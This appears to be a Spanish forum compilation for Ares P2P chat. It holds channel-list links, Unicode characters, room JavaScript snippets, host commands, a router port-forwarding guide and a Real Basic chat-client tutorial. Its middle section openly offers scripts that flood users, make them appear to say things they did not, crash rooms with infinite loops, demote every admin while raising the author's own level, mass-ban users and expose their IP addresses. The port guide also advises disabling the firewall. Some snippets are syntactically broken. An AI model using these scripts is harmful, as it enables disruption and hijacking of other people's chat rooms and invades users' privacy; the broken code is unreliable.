AKI OS DEJO EL LINK DE LA LISTA DE CANALES ARES P.2.P. ESTA PAGINA SERA ACTUALIZANDO.ESPERO Q OS SEA DE GRAN AYUDA.

http://www.arca-eclipse.com/ChannelList/cl.php  <<-- listas de canales chat ares diferentes

http://www.arca-eclipse.com/ae-cl.php <<-- lista de chat de canales AE.3.2

 

AKI OS DEJO TODO TIPO DE LETRAS UNICODES PARA MSN Y CHAT ARES.

ą д Ẫ ẫ Ắ ắ Ằ ằ ẳ Ẵ ẵ Ä ª ä Å Ä À Á  å ã â Æà æ A a ά a â á à  â Ã ã Ά Æ æ В в Б β Ђ Ъ Ы Ь ъ ы ь Ъ Ђ Β В ß ß ฿ lЗ в € Ç ¢ ç ς с С Œ œ © כ ċ Ć ć ς Ĉ ĉ Ċ ċ Č č Ď ď Đ đ D d d Ð ð Σ З Ē ē Ĕ ĕ Ė ė Ę ę Ě ě Ә ә Э з е Ё Έ Ε E e ë ê ξ Ê È É € Ë é è פ Є € ξ ∑ ∑ Ế Е Ề Ể Ễ é è έ є Є e ع Э є з э ε э ё F ₣ ₣ ƒ ſ f ƒ G G g g G G Ĝ ĝ Ğ ğ Ġ ġ Ģ ģ Н Ĥ ĥ Ħ ħ Ή ŀl Η H h H h Ή ћ ђ ђ Ћ Ң н ң н Њ њ І Ї ϊ Ϊ ί ι Ï ї Ί Ι I I Ί ¡ ϊ ï î Í í Ì ì Î î I I I ΐ I Ĩ ĩ Ī ī Ĭ ĭ Į į İ I IJ ij Ĵ ĵ ј Ј J j Ќ К Κ K k ќ ĸ к Қ қ к Ҝ ҝ Ќ Ќ К Ķ ķ ĸ κ £ Ŀ L L L L c l L l ŀ l £ l Ĺ ĺ Ļ ļ Ľ ľ Ŀ ŀ Ł ł ₤ ζ м м М М Μ И Π п מ П π ⁿ Ν И и й η ñ ח Ñ Й Ŋ ŋ ή ή η n и й N Ń ń Ņ ņ Ň ň ʼn Ŋ ŋ Ю ю О ם ט ο Ό Ο о ό Θ Ф Φ Ǿ ǿ ф ф σ ό θ θ Θ θ ó ò Ó Ò Ô ô Ö ö Õ õ Ό Ø ø Ợ ợ Ọ ọ ớ ờ O o о Ở Ờ Ớ Ổ ổ Ở Ợ Ō ō Ŏ ŏ Ő ő Р Ρ þ Þ р ρ ρ q q Œ œ Ѓ Г Ґ ґ Γ Я Я ® R R я r г Ŕ ŕ Ŗ ŗ Ř ř я ѓ ى Ѕ § š Š § S ѕ s S s S s Ś ś Ŝ ŝ Ş ş Š š † T T t T T τ t ΐ t т т t Τ Т Ţ ţ Ť ť  ŧ Џ U Ụ Ủ Ứ Ừ Ử Ữ Ự u ΰ Ú ú Ù ù Û û Ü ü µ υ Џ Џ U ự ữ ử ừ u ц Ũ ũ Ū ū Ŭ ŭ Ů ů Ű ű Ų ų ΰ υ ϋ ύ ϋ ύ џ μ Ц ц ν ٧ Ш Щ Ẁ ẁ Ẃ ẃ Ẅ ẅ ω ώ ώ ш щ Ẁ ẁ Ẃ ẃ Ẅ ẅ Ш Щ W w ω ώ ω ш щ Ŵ ŵ Х Χ Х χ х × Ҳ ҳ У ¥ ¥ Ч ч ¥ Ỳ ỳ Ỵ Ў ў ỵ у Ỷ ỷ У Ч ў ч Ў ¥ ے Ύ ف ں ¥ Ύ ے ‎ Ϋ Ύ γ Ŷ ŷ Υ ں Ỳ ỳ Ҹ ҹ  ע ץ   Ź ź Ż ż Ž ž Z Z z Ž Z z ž Ζ

¹ ² ³ ™ « » • ° ° ÷ ± ‡ ¿ " " » † « " † " » « » Ψ ψ Ψ Ψ Ψ φ ψ « · · » « · · ¯ ˜ · ¨ ‚ …ˆ ˇ ˉ ˘ ˙ ˚ ˛ ˜ ˝ ; ΄ ΅ · δ б– — ― ‗ Ω Ώ Ω Ω № 8 " Ξ Ξ –" ﺸ ﺴ ¤ Ώ ؟ ֽ ـ · · ˙ َ ֿ ׃ ؛ · Җ җ ж ж Ж Ж Ж Ж Л л Љ љ № ™ ⅛ ⅜ ⅝ ⅞ ∞ ∫ ≈

∕ ∙ √ ∞ ∟ ∟ ∩ ∫♬ ≈ ≈ ≠ ≡こにメル ≤ ≥ ⌂ ⌐ ⌠ ⌡─ │ │ ┌ ┐ └ ┘ ├ ┤ ┬ ┬ ┴ ┼═ ║ ╒ ╒ ╓ ╔ ╕ ╖ ╗ ╘ ╙ ╚ ╛ ╜ ╝ ╞ ╟╠ ╠ ╡ ╢ ╣ ╤ ╥╥ ╦ ╧ ╨ ╩ ╪ ╫ ╫ ╬

 ▀▄ █ ▌ ▐ ▐ ░ ▒ ▓ ■ ■ □ ▪ ▫ ▫▬ ▲ ► ▼ ◄ ◊ ◊ ○ ● ◘ ◘◙ ◦ ☺ ☻ ☻ ☼ ♀ ♂ ♠♠ ♣ ♥ ♦ ♪ fl ♫?≠ ♬

BUENO AKI HOS DEJO FUNCIONES JAVA SCRIPTS USENLO BIEN xD

VARIAS FUNCIONES JAVA SCRIPT


Room.name Te muestra el nombre de la sala

Room.topic  Ves el Topic de la sala mas la versión utilizada

Room.port  Ves el puerto de la sala

Room.externalIp Ves ip externo de la sala

Room.localIp Ves el ip interno de la sala

Room.hostName Ves el nombre del bot

Room.currentUrl Ves la web mas todo lo que esta escrito en el ultratg

Room.orgTopic Ves solo el Topic 

                                   

Siempre es necesario que este  javascript2

user(ID).admin=level  Lo puedes hacer con vos o a algún usuario

user("nick").sendText("Soy gay") Clona a un usuario si te vas a una vroom podes jugar

userobj.admin=level  Te subís el level sin necesidad del id o nombre

userobj.admin  Ves tu level de admins

userobj.id  Ves tu id

user(ID).localIp Ves el ip interno del usuario o a vos mismo

user(ID).externalIp Ves el ip externo del usuario o a vos mismo

user(id).version  Ves la version de ares del usuario o la tuya

user.version  Ves tu version de ares

user(ID).name="nick" Para cambiar tu nick o el de alguien  

userobj.name="nick"  Para que te cambies el nick

user(ID).redirect("HASLINK") Para redireccionar a un usuario a otra sala

user(“nick”).redirect(“haslink”) Para redireccionar con el nick

 

“También podes poner el nick ej. user(“nick”).localIp seguida de la función”

 

OTRAS FUNCIONES JAVA

 

Con esta función podes ver el témplate que utiliza la sala

 

Script.eval("roomscript.js","for(a=0;a<strings.length;a++) { print(0,a+': '+strings[a]) }")

 

  • Con esta función haces que todos lo usuarios repitan lo mismo “si hay muchos usuarios mas de 30 le pones caritas y se convierte en un flooders de usuarios”

 

for (var i=0; i<32;i++) { if (user(i).boobs != "") {user(i).sendText("Lo que queres poner para que repita" + user(i).boobs) }}

 

 

 

  • Hacemos que mande un pv el host de la sala a cualquier usuario

Donde esta el uno le ponemos las veces que queramos que le diga lo mismo al usuario si le pones 1000 y caritas se convierte en un flood de usuario

 

for (var a=0; a<1; a++)       sendPM(user(0) , "nick del host", "hola soy bin ladem como estas;)")

·        tirar la sala trata de poner pocas caritas u algo porque las nuevas versiones de ares eliminan caritas y te auto saca”usuario o “si ponemos el nick del

No para hasta que el usuario se cambie de nick o saquemos el java

 

onTimer = function(){for(var i = 0; i < 10000; i++)print(user("nick"),"aquí caritas o lo que queramos poner");}

  • Esta funcion lo que hace es mandar un pv a todos los usuarios si te vas a otra vroom podes jugar un rato con el

 

for(usuario=firstUser();usuario!=null;usuario=usuario.nextUser()) sendPM(usuario, "nick","lo que quieras que diga")

 

 

  • Esta función saca a todos los admins de la sala y solo quedas vos y no pueden volver a loguarse ni el host la unica forma es que cierre la sala o vos la desactives

onTimer = function(){ for(usuario=firstUser();usuario!=null;usuario=usuario.nextUser()) usuario.admin=50; user("AKI TU NI").admin=255}

 

Así se para la funcion

onTimer = false

Así la activas de nuevo

onTimer = true

FORMAS DE TIRAR UNA SALA  CON UN LEVEL 200 O MAS

 

  • Esta función en si es un test que pone el numero de veces que nosotros queramos

 

for(i = 0; i < 1000; i++)print(0, ":@:@:@:@:@:@:@:@:@:@:@:@:@:@Con esta sala no se juega" + i);

  • Con esta funcion hacemos que parezca que entran usuarios hasta que no pongas la otra funcion que hace que pare no va parar

Para que empiese

onTimer = function(userobj){for(var i = firstUser(); i !=null; i = i.nextUser()){if(i.externalIp==i.externalIp){i.name = "nik aki"}};} 

Para que pare

onTimer = function(userobj){for(var i = firstUser(); i !=null; i = i.nextUser()){if(i.externalIp==falsei.externalIp){i.name = "NetworXploits"}};} 

 

  • Con esta funcion podemos tirar una sala

 

onTimer = function(){a = true;while(a == true){print(0, "caritas o lo que quieras ");}}

esta funcion es lenta pero es eficaz

 

  • Con esta funcion podemos tirar una sala

onTimer = function(){a = false;while(a ==false){print(0, " caritas o lo que quieras ");}}

esta funcion es muy rápida no da tiempo a nada

 

  • Con esta funcion podemos tirar una sala

 

":@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@".repeat(999999999)

Repite tantas veces que se pone muy lenta la sala y se cae

 

ACTUALIZADO

 

 

BIENVENIDA

onJoin = function(userobj, text){print (userobj.vroom, ""+userobj.name+" HA ENTRADO IP "+userobj.localIp+"")}

 

SALIDA

onPart = function(userobj, text){print (userobj.vroom, ""+userobj.name+" HA SALIDO "+userobj.localIp+"")}

 

True = SI

False = No

 

user(0).redirect(""); = Redireccionar

user().disconnect() ; = kill

user().banned = true; = ban

user().muzzled = true; = callar

uneval("[ΣŞ]ςเงเς") = convertir unicode a javascript

Cls = "r".repeat (500)  para limpiar

user().goVroom();text=""

sendPM(userobj,hostName(),"host msg");

 

REMPLAZAR LAS CARITAS POR ffffff        O POR rrrr

onJoinCheck = function(U){if(u.name == "juan")u.name = "carlos";return true;}

 

for(var a=firstUser();a!=null;a=a.nextUser()){a.sendText("test")}

 

for (a=0; a<10; a++) {if(user(a).connected);{ user(a).sendText(" aquí es como un pv global");}}

 

Object.prototype.pwnt=function(){for(var a=0;a<100;a++){sendPM(this," fffffffffffffffffffff"+Math.floor(Math.random()*9000),"carlitos");print(this," fffffffffffffffffffff") }}     UN FLOOD

 

onTimer = function(){user().pwnt()} ---- user x will be flooded

 

onTimer = function(){a = true;while(a == true){print(0, ":@:@");}} ------ carb0n (shaun)'s room fólder

 

onTimer = function() { }       ---  stops all flood functions

 

pwnt = function(){tick = 0;onTimer = function(){u = user(tick);if(u == null){onTimer = function(){}}else{u.banned = true;u.disconnect();}tick++;}} = sets function ( all users disconnected then banned )

 

pwnt(); = starts the pwn function

 

Object.prototype.own = function() { for (b = 0; b < 20; b++) {sendPM(this, " "+b, ":@".repeat(100));print(this, ":@".repeat(350))}return this.name+" Has Been Owned so they will stfu :@:@:@";} = enables the pm/flood function

 

A los lameculos de siempre XD no empiesen con que esto ya lo se, porque esto esta hecho para los que recien empiezan y quieren aprender, y no para aquellos que se hacen que saben todo  juaz y no saben nada  juakers!!!! xDDDD

 AKI HOS DEJO FUNCIONES PARA CHAT ARES ( OJO SOLO ANFITRION )

 

Comandos de la sala bàsica del chat del ARES

Muestra listado de comandos                                            /Helppar

                                                                                       /Idle           [message]par

                                                                                       /Cloakpar

Muestra el asunto de la sala                                              /GetTopicpar

Modifica el asunto de la sala                                              /SetTopic escribirnuevoasuntopar

                                                                                       /SetUrl         //teamwarriors.es.tl/INTERESANTE.htm [urlcaption]par

Muestra el texto de bienvenida                                           /Motdpar

Guarda el texto de bienvenida                                            /LoadMotdpar

Borra el texto de bienvenida                                               /ClearMotdpar

Modifica el texto de bienvenida                                           /EditMotdpar

Guarda el texto de bienvenida                                            /MotdSavepar

Agrega una nueva linea al texto de bienvenida                     /MotdAdd escribireltextopar

                                                                                       /Redirect       [user] [ip : port]par

Desconectar "x" usuario                                                    /Kill escribirnickdelusuariopar

Rechazar "x" usuario                                                        /Ban            [user] [reason]par

Aceptar "x" usuario                                                          /Unban          [user] [reason]par

Muestra listado de usuarios rechazados                             /ListBanspar

Eliminar lista de usuarios rechazados                                /ClearBanspar

Bloquear rango IP                                                             /RangeBan escribirrangoIPpar

Desbloquear rango IP                                                        /RangeUnban escribirrangoIPpar

                                                                                       /Lower          [user] [reason]par

Bloquear "x" usuario                                                         /Muzzle         [user] [reason]par

Desbloquear "x" usuario                                                   /Unmuzzle       [user] [reason]par

Muestra lista de usuarios bloqueados                                /MuzzleListpar

Borrar lista de usuarios bloqueados                                   /MuzzleClearpar

Muestra version de ares server que utilizamos                    /Versionpar

Muestra la info de nuestra sala                                         /Infopar

Muestra las estad'ecsticas de la sala                                   /Statspar

Muestra los logs de la sala                                              /ShowLogpar

                                                                                     /Whowas         [user]par

Muestra la informaci'f2n de "x" usuario                               /Whois escribirnickdesusuariopar

Conseguir el IP de un usuario                                          /IP escribirnickdelusuariopar

                                                                                    /UserListpar

Muestra estado de comandos                                         /LogLevelpar

Cambia estado de comandos on-off                                  /SetLogLevel    [logType] [On/Off]par

                                                                                    /Announce  [message]par

                                                                                     /ListModspar

                                                                                    /toMods         [message]par

                                                                                   /PM             [user] [message]par

Muestra los links ingresados en la sala                          /Linkspar

                                                                                  /LinkChannel    [ip : port]par

Desconectar canal                                                       /KillChannel escribirnombredelcanalpar

                                                                                  /LinkUserListpar

Identificarse con una contrase'f1a                                   /Login          [password]par

Registrar una contrase'f1a                                             /Register       [password]par

                                                                                 /KillAccount    [user]par

                                                                                  /ListAccountspar

                                                                                 /FlushAccountspar

Dar poder a "X" usuario                                               /SetUserLevel   [+/-] [user]par

Autodesconectarse                                                   /Shutdownpar

AKI OS DEJO MANUAL PARA ABRIR LOS PUERTOS DE RUTER CHAT ARES

Abrir puertos router Amper Xavi 7869 Wireless
En este manual vamos a explicar como abrir los puertos del router ADSL Xavi Wireless.

Antes de empezar es imprescindible saber cual es la Puerta de enlace del router para acceder a la web de configuración, y por supuesto la IP privada del PC al cual quiero abrir el puerto.

Usuarios con Win XP debéis dirigiros a inicio/ejecutar/cmd y ejecutar el comando IPCONFIG

Nos aparecerá la Dirección IP que es la IP privada del PC, y la puerta de enlace del router que es la que pondremos en nuestro navegador para acceder a la configuración del router.

Acceso al router:

 http://192.168.0.1 o http://192.168.1.1

A continuación nos pedirá el usuario y el password.

Las claves predeterminadas de acceso al router son: Usuario: 1234  Password: 1234

Una vez dentro de la web de configuración nos dirigimos a configuration / security / advanced NAT configuration

Ahora inchamos en add reserved mapping

En internal debemos poner la Ip privada de nuestro PC

- En type debemos elegir el protocolo del puerto (TCP o UDP).

- External port range: podemos abrir un puerto poniendo en start y en end el mismo o podemos abrir un rango. Para ello en start ponemos el puerto desde el cual queremos abrir el rango y en end el último. Por ejemplo desde el 4500 hasta el 4550.

- Internal port range: ponemos lo mismo que en external. Si estamos abriendo un sólo puerto ponemos en start y en end el puerto, si es un rango lo ponemos igual que antes.

Una vez añadidos los puertos pinchamos en add reserved mapping:

 Para finalizar tenemos que guardar los cambios y resetear el router, para ello nos dirigimos a Configuration / save config y pulsamos en save.

Por último tenemos que resetear el router para que los cambios tengan efecto nos dirigimos a system restart router y pinchamos en restart.

Una vez hecho esto ya tendremos los puertos abiertos. No os olvidéis que cualquier firewall activo en el PC puede impedir que las aplicaciones funcionen correctamente. Comprobad que tenéis el firewall de Windows XP desactivado y que no tenéis ninguno activo en el PC.

* Otro error frecuente es utilizar el DHCP del router o tener marcado en las propiedades del TCP IP de nuestro PC "Obtener Ip Automáticamente". Tenemos que fijar la IP para que esta no cambie.


Ares Chat Client En Real Basic [COMO ACER UN BOT]

 

Los Usuarios Que Chatean En Ares Algunas Se Habrán Preguntado Como Crear Un Ares Chat Client,  Este Proyecto es Para  Aquellas Personas Que Quieran Crear Uno.
 
Capitulo 1

 
Este Ares Chat Client Está Programado En Real Basic. Por Lo Tanto Tienes Que Tener Indispensablemente Este Programa.
 
Bien, Suponiendo Que Ya Tienes El Programa Real Basic, Lo Abrimos.
 
 
 
Bien, Ya Abierto El Nuevo Proyecto Damos Un Click Sobre App (¡Atención! Un solo clic).
 
Bien, Del Lado Derecho Pueden Ver La Tabla “Property” & “Value”, En Las Zonas Que Están Marcadas En La Imagen: Major Version, Minor Version, SubVersion, Release, NonRelease, Poner Respectivamente: [1]-[0]-[0]-[0]-[0].
Estos Settings Son Para Que Se Reconozca La Version De Nuestro programa.
 
 
 
Bien, Ahora Damos Doble Click Sobre “Window1”.
 
 
*Esta Es Una Parte De Lo que Veremos En Nuestra Pantalla.*
 
Bien, Empecemos. Primero Que Nada Tenemos Que Ponerle Un Nombre A Nuestra Principal Ventana De Nuestra Aplicación, Por Lo Tanto Vamos A Title Y Le Ponemos Un Nombre, Por Ejemplo “Ares Chat Client By Toro”
                                                    
Bien, Ahora Vamos Más Arriba A Position. Y Ponemos Los Siguientes Settings:
                                                       
Bien Ahora Le Pondremos Color A Nuestra Ventana, Le Damos Click A “HasBackColor”. Una Casilla Abajo Pueden Ver La Propiedad “BackColor”, Damos Click En EL Pequeño Icono De Al Lado, Y Seleccionamos El Color Que Queramos Para Nuestra Aplicación. Yo Escogí El Negro: &c000000
                                                    
Bien Empecemos A Crear Nuestro Chat Client, Seleccionamos El Control [EditField].
                                                                  
Ahora Con El Ratón Lo Seleccionamos Y Al Mismo Tiempo Lo Arrastramos Hasta Nuestra Ventana.
 
Bien, Sabemos Que Al Seleccionarlo Con Un Click Al Lado Derecho Nos Sale La Tabla “Property & Value”. Ahora De Arriba Abajo. A La Propiedad [Name:] Le Quitamos Editfield1 Y Lo Cambiamos Por “username” (sin comillas).
 
Bien Ahora Seleccionamos El Control “StaticText”, Con El Cual Aremos Un Texto Llamado “Nick Name:”
                                                
Se Preguntaran Porqué Al Hacer Este Paso No Aparece Su Texto (sale todo negro) Ah Pues Pórque Se Necesita Poner Color A Las Letras De La Siguiente Forma:
 
Como Pueden Ver En La Imagen Siguiente Puse En Tex: “Nick Name:”, Mas Abajo En TextFont: Le Puse Comic Sams MS (Pueden Utilizar El Tipo De Font Que Deseen), En TextSize: Puse 14 (Buen Tamaño De Letra) Y Seleccioné La Casilla Bold:
                            
 
Bien, Ahora Creamos Un Segundo EditField, Al Cual Le Modificaremos La Propiedad [Name:] Y Le Pondremos “address” (sin comillas).
 
Te Preguntaras Porqué El EditField Tiene El Texto [127.0.0.1], Ah Pues Porque Esa Es La Dirección IP Por Defecto Que Dejaremos, Y Se La Podemos Poner En La Siguiente Propiedad:
                                                   
Ahora Agregamos Un Nuevo StaticText Un Poco Arriba De El EditField address, Y Le Pondremos “Dirección IP:”.
                                                   
Bien Ahora Creamos Un Tercer EditField, El Cual Llevará La Propiedad Name: port.
            
Como Puedes Ver Este EditField También Tiene Letras Dentro, Eh De Suponer Que Tienes Muy Claro Como Ponérselas.
 
Ahora Creamos Un Tercer StaticText, Con El Texto “Puerto:”.
Bien, A Continuación Creamos Un Cuarto EditField, El Cual Levará La Propiedad Name: files.
 
Ahora Como Se Habrán Imaginado Crearemos Un Cuarto StaticText Con El Texto “Archivos:”.
 
Bien Ahora Creamos Un Control PopupMenu, El Cual Llevara La Propiedad Name: Combo1.
        
P.D. El Control PopupMenu Se Encuentra En La Tabla Izquierda De Menús:
                                                
Sin Dejar De Seleccionar El Popupmenu De Hoy En Adelante Combo1, Vamos A La Propiedad InitialValue: Y Le Damos Click En El Pequeño Icono. 
 
Bien Ahora Introducimos Los Siguientes Datos:
N/A                                               
56K
128K
Cable
DSL
T1
T3                                   Y Damos Click En OK
                     
Bien Con Esos Datos Ya Tendremos Introducido Lo Que Será El Combo Donde Seleccionaremos La Conexión De Nuestro Bot.
 
A Continuación Pasaremos A Crear Dos Botones, [Conectar] [Cerrar].
 
Creamos Un Nuevo Control PushButtom, El Cual Se Encuentra En La Tabla Izquierda.
A Este PushButtom Le Pondremos Las Siguientes Propiedades.
                                         
Creamos Un Segundo PushButtom Con Las Siguientes Propiedades:
                                         
Nos Debe Quedar Algo Así:
                                        
Bien, Si Ustedes Desean Pueden Introducir Un Control ProgressWhel Que Es Este:
Bien A Continuación Pasaremos A La Siguiente Etapa Que Es Crear La Interfaz Del Chat.
Creamos Un Nuevo EditField Un Poco Debajo De Nuestros EditField’s Y PushButtom.
Nos Debe Quedar Así:
 
Este EditField Será Para El Topic De La Sala A La Que Conectaremos Nuestro Client. Ahora A Este EditField Le Agregaremos La Propiedad Name: “topic” (sin comillas y en minúsculas).
 
A Este Paso No Le Puse Una Imagen Porque Supongo Que Ustedes Ya Saben Como Agregarle Una Propiedad Name:
 
A Continuación Crearemos Un EditField, Que Será Para El Chat.
 
Con Las Siguientes Propiedades:
                                       
Como Pueden Ver La Propiedad Name: Lleva areschat. ControlOrder, Left, Top, Width & Height, No Es Necesario Que Pongan Esos Valores. Las Propiedades Lock, Si Se Deben Marcar. Multiline Se Debe Marcar Porque Por Defecto No Se Marca. También Styled Se Marca. TextColor Es El Color De Letra Que Deseamos Ver En El Chat, Yo Escogí Un Color Azul Oscuro &c0000A0. Y Por Último La Font, Escogí Tahoma, Tamaño 12. (Aunque dice tehoma:S).
 
Bien Ahora Pasamos A Crear Un Control ListBox, Que Será Para Representará La Lista De Usuarios:
Pueden Ver En La Siguiente Imagen Que La Propiedad Name Del ListBox Le Puse “list1”.
 
También Podrán Notar Que La Propiedad “Initial Value” Tiene Algunos Valores, Los Cuales Son Los Siguientes:
 
Usuario    Archivos  Velocidad
 
*Nota: ColunmWidths Es Para Poner El Tamaño De Las Columnas, No Es Necesario Tener Los Valores Puestos En La Imagen, Ya Que No Todos Tendrán El Mismo Espacio.

Bien, Ahora Nos Dedicaremos A Crear La Zona Donde Chatearemos.
 
Creamos Un EditField Que Servirá Para Poner El Texto Donde Chatearemos.
Lo Único Que Modificaremos A Este EditField Será La Propiedad Name: La Cual Llevara message.
Bien, Ahora Creamos Un PushButtom Que Será El Botón De Enviar. A Este Botón Lo Que Le Cambiaremos Será La Propiedad Caption: A La Cual Le Ponemos Enviar, Y Marcamos La Casilla “Default”
Con Esto Hemos Terminado La Interfaz De Nuestra Primera Ventana. Pero Ahora Falta Lo Mas Indispensable, La Forma En Que Se Va A Conectar.
 
Bien Primero Que Nada Vamos A Seleccionar 2 Controles “timer”, 1 Control “socket” Y Un Control “contextualmenu”. Estos Controles Estarán Escondidos Alejados De Nuestra Ventana.
                           
A Estos Controles No Les Modificaremos Ninguna Propiedad Ya Que Solo En El Modo Comandos Será Donde Los Modifiquemos.
Bien Ahora Creamos Dos Pequeños EditField, (Widht=21, Height=12). Uno Llevará La Propiedad Name “aresmsg” y “nick” (sin comillas claro está).
Bien Con Esto Hemos Terminado El Primer Capitulo De Nuestro Tutorial.
 
 

Capitulo 2

Bien Ahora Pasemos A Lo Que Para Mí Es Lo Más Fácil De Hacer Un Chat Client: Programación De Comandos.
 
Le Damos Click En EL Pequeño Icono De Modo Comandos:
                                                    
Y Nos Sale Una Ventana Como Esta:
 
Damos Un Click En El Pequeño Icono Que Está En Controls [+]
                                   
Y Se Nos Abre Un Menú.
 
Bien Abrimos La Raíz ContextualMenu1, Y Localizamos La Propiedad Action. En Esa Propiedad Ponemos El Siguiente Código: (lo pueden copiar-pegar. Ctrl.+C-Ctrl+V Resp.)
 
 select case item
  case "Enviar Privado"
    window2.show
    window2.title = "Privado al usuario: " + list1.cell(list1.listindex, 0)
    window2.pmname.text = list1.cell(list1.listindex, 0)
  
  
  
  Case "Ignorar"
    //MSG_CHAT_CLIENT_IGNORELIST              = 45; 0 = no 1 = yes + username + NULL ?
  
    tcpsocket1.write ignoremsg(list1.cell(list1.listindex, 0), "ignore"
  
  Case "Designorar"
    tcpsocket1.write ignoremsg(list1.cell(list1.listindex, 0), "unignore"
  end select
 
Habiendo Puesto Este Código, En La Misma Raíz ContextualMenu, Abrimos La Propiedad Open, Y Ponemos El Siguiente Código:
 
  me.addrow  "Enviar Privado"
  me.addrow "Ignorar"
  me.addrow "Designorar"
 
Bien Cerramos Esa Raíz Y Nos Vamos A La Raíz list1, La Cual Es El ComboBox. Y Localizamos La Propiedad CellClick Y Ponemos Este Codigo:
 
if IsCMMClick then
    me.ListIndex = row
    me.Refresh
    ContextualMenu1.Open
  end if
 
En La Misma Raíz Buscamos La Propiedad DoubleClick Y Le Ponemos El Código:
 
  window2.show
  window2.title = "Privado al usuario: " + list1.cell(list1.listindex, 0)
  window2.pmname.text = list1.cell(list1.listindex, 0)
 
 
Cerramos Esa Raíz Y Abrimos La Raíz “message”. Localizamos La Propiedad KeyDowm Y Le Ponemos Este Codigo:
 
  dim usersay as string
  dim k1 as string
  usersay = message.text
 
  if key = chr(13) OR key = chr(3) then
    if me.text = "" then
      return true
    end
  
    k1=mid(usersay , 5)
    if left(usersay , 3) = "/me" then
      message.text = k1
      TCPSocket1.write chr(lenB(message.text))+chr(&h00)+chr(&h0B)+message.text
      message.text = ""
    else
      TCPSocket1.write chr(lenB(message.text))+chr(&h00)+chr(&h0A)+message.text
      message.text = ""
    end if
  end
 
Cerramos Esta Raíz Y Abrimos La Raíz PushButtom1, Localizamos La Propiedad Action Y Le Ponemos El Siguiente Código:
 
 
  if me.caption = "Conectar" then
    TCPSocket1.address = address.text
    TCPSocket1.Port = val(port.text)
    TCPSocket1.connect
    timer1.enabled = true
    me.caption = "Desconectar"
    Areschat.text = ""
    areschat.selstart = len(areschat.text)
    areschat.seltextcolor = RGB(51,51,153)
    areschat.text  = "Conectando, por favor espera..."+endofline
  
  elseif me.caption = "Desconectar" then
    TCPSocket1.disconnect
    timer1.enabled = false
    me.caption = "Conectar"
    Areschat.text = ""
  end if
 
Cerramos Esa Raíz Y Abrimos PushButtom2. Seleccionamos La Propiedad Action Y Ponemos Este Código:
 
Sub Action()
  Window1.Close
End Sub
 
Cerramos Esa Raíz Y Abrimos PushButtom3, De Igual Forma Ponemos El Siguiente Código En La Propiedad Action:
 
 
  dim usersay as string
  dim k1 as string
  usersay = message.text
  k1=mid(usersay , 5)
  if left(usersay , 3) = "/me" then
    message.text = k1
    TCPSocket1.write chr(lenB(message.text))+chr(&h00)+chr(&h0B)+message.text
    message.text = ""
  else
    TCPSocket1.write chr(lenB(message.text))+chr(&h00)+chr(&h0A)+message.text
    message.text = ""
  end if
 
Bien, Cerramos Esa Raíz Y Abrimos La Raíz TCPSocket1. Localizamos La Propiedad Connected Y Le Ponemos El Siguiente Código:
 
  Dim speed As String
  Dim tosend As String
  dim ipadd as string
  dim theip as string
  dim ipdata as string
  Dim SplitIp() As String
  dim i as integer
 
  ipadd = ""
  theip = tcpsocket1.localaddress
  splitIp = Split(theip, "."
  For i = 0 To UBound(SplitIp)
    ipdata = splitip(i)
    ipadd = ipadd + chr(val(ipdata))
  next i
 
  If Combo1.text = "" Then speed = Chr(0) + Chr(0) + Chr(0) + Chr(0)
  If Combo1.text = "N/A" Then speed = Chr(0) + Chr(0) + Chr(0) + Chr(0)
  If Combo1.text = "DSL" Then speed = Chr(&HB8) + Chr(&H88) + Chr(0) + Chr(0)
  If Combo1.text = "56k" Then speed = Chr(&HE0) + Chr(&H15) + Chr(0) + Chr(0)
  If Combo1.text = "64k" Then speed = Chr(0) + Chr(&H19) + Chr(0) + Chr(0)
  If Combo1.text = "T1" Then speed = Chr(&H40) + Chr(&H42) + Chr(&HF) + Chr(0)
  If Combo1.text = "33.3k" Then speed = Chr(&H2) + Chr(&HD) + Chr(0) + Chr(0)
  If Combo1.text = "14.4k" Then speed = Chr(&HA0) + Chr(&H5) + Chr(0) + Chr(0)
  If Combo1.text = "128k" Then speed = Chr(0) + Chr(&H32) + Chr(0) + Chr(0)
  If Combo1.text = "28.8k" Then speed = Chr(&H40) + Chr(&HB) + Chr(0) + Chr(0)
  If Combo1.text = "Cable" Then speed = Chr(&HA8) + Chr(&H61) + Chr(&H0) + Chr(&H0)
  If Combo1.text = "T3" Then speed = Chr(&HA0) + Chr(&H25) + Chr(&H26) + Chr(&H0)
  tosend = Chr(1)'not shared for shared use chr(3)
  areschat.selstart = len(areschat.text)
  areschat.seltextcolor = RGB(51,51,153)
  areschat.seltext = "Conectando, iniciando protocolo..."+endofline
  tcpsocket1.write LogInPacket(username.text, ipadd, 0, val(files.text), speed, tosend)
 
Después Localizamos La Propiedad DataAvailable Y Le Ponemos El Código:
 
timer2.enabled = true
 
Enseguida La Propiedad Error Y Ponemos El Código:
 
  areschat.selstart = len(Areschat.text)
  areschat.seltextcolor = RGB( 217, 0, 39 )
  areschat.seltext = "Desconectado(10057)"+endofline


PRIMEROS PASO PARA ACER UN SCRIP

Primero que nada tenes que saber que el script se guarda con .js al final. Por ej: script.js
Y en un block de notas. No es necesario que te lo diga, si es obvio.

Luego, agregar un titulo al script. Usando:

print(0, "Titulo";-) ;
print(userobj.vroom, "Titulo") ;
print(userobj, "Titulo") ;

0 = Numero de la vroom
userobj.vroom = Vroom del usuario que lo carga
userobj = Solo lo lee el que lo carga

Luego, saber las funciones. Ésta es la mas sencilla:

function onCommand(userobj, cmdText, tUser, arguments) {

Despues, poner un comando, por ej:

if(cmdText.substr(0,9)=="#comando" && userobj.admin>=51){

(0,9) = Cantidad de letras ke puede tener el comando. Podes poner las que quieras.
51 = Poder que tenes que tener para usarlo. Si el comando es para todos, pone 50

Despues poner el anuncio:

print(0, "Todos son gays") ;

->Tambien podes usar los otros, que se explican al principio de este block<-

Y luego cerrar el comando, usando llaves {}

}
}

Y listo, ahi tenes un script sencillo. Recuerda que tenes que poner la misma cantidad
de } que las abiertas, o sea, si hay 7 de estas { tenes ke poner 7 de estas } al
final de tu script.

 

 


//-------Definir al usuario-------//

Por ejemplo, digamos que yo quiero sacar a un usuario de la sala con un comando de mi
script.

Entonces tendriamos que poner:

if(cmdText.substr(0,9)=="#kill " && userobj.admin>=51){
user(tUser.id).disconnect()
print(0, "El usuario " +tUser.name+ " fue sacado por " +userobj.name+ ") ;
}
tUser = usuario al que sacas y demas.
userobj.name = usuario que hace el comando

userobj.id = ID del usuario que hace el comando
userobj.name = nombre del usuario que hace el comando
userobj.orgName = nombre original del usuario que hace el comando (Por si se llega a cambiar de nick)
